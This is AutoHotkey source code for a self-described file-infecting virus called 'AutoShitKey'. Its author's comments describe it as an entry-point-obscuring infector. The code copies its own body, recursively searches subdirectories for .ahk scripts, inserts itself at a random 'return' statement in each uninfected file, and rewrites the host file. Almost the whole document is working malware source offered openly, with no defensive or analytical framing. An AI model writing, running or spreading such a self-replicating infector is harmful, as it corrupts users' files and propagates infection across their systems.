;Author: Genetix ;Language: AutoHotKey ;Virus Name: AutoShitKey ;First I wrote a prepender because I'm very busy but decided I should write something a little more interesting ;because no one wants to see prependers, right? how boring! So this is EPO.. inserting it's code inside ;randomly selected functions by searching for the "return" statement. Infects .ahk files in subdirs too. #NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases. SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory. ;AutoShitKey virus = %A_ScriptName% arrVirus := Array() arrEntry := Array() arrHost := Array() LineCount = 0 infected = 0 reading = 0 Loop, read, %virus% { if InStr(A_LoopReadLine, ";"+"AutoShitKey") reading = 1 if (reading = 1) arrVirus.insert(A_LoopReadLine) if InStr(A_LoopReadLine, ";"+"end") break } Loop, % arrVirus.MaxIndex() strCode .= arrVirus[A_Index] "`n" Loop, *.ahk, , 1 { host = %A_LoopFileFullPath% Loop, read, %host% if InStr(A_LoopReadLine, ";"+"AutoShitKey") infected = 1 if (infected = 0) { Loop, read, %host% { LineCount += 1 if InStr(A_LoopReadLine, "return") arrEntry.insert(LineCount) arrHost.insert(A_LoopReadLine) } Random, EntryIndex, 1, arrEntry.MaxIndex() index = % arrEntry[EntryIndex] arrHost.insert(index, strCode) Loop, % arrHost.MaxIndex() strHost .= arrHost[A_Index] "`n" FileDelete, %host% FileAppend, %strHost%, %host% arrHost := Array() strHost = LineCount = 0 index = 0 EntryIndex = 0 } } ;end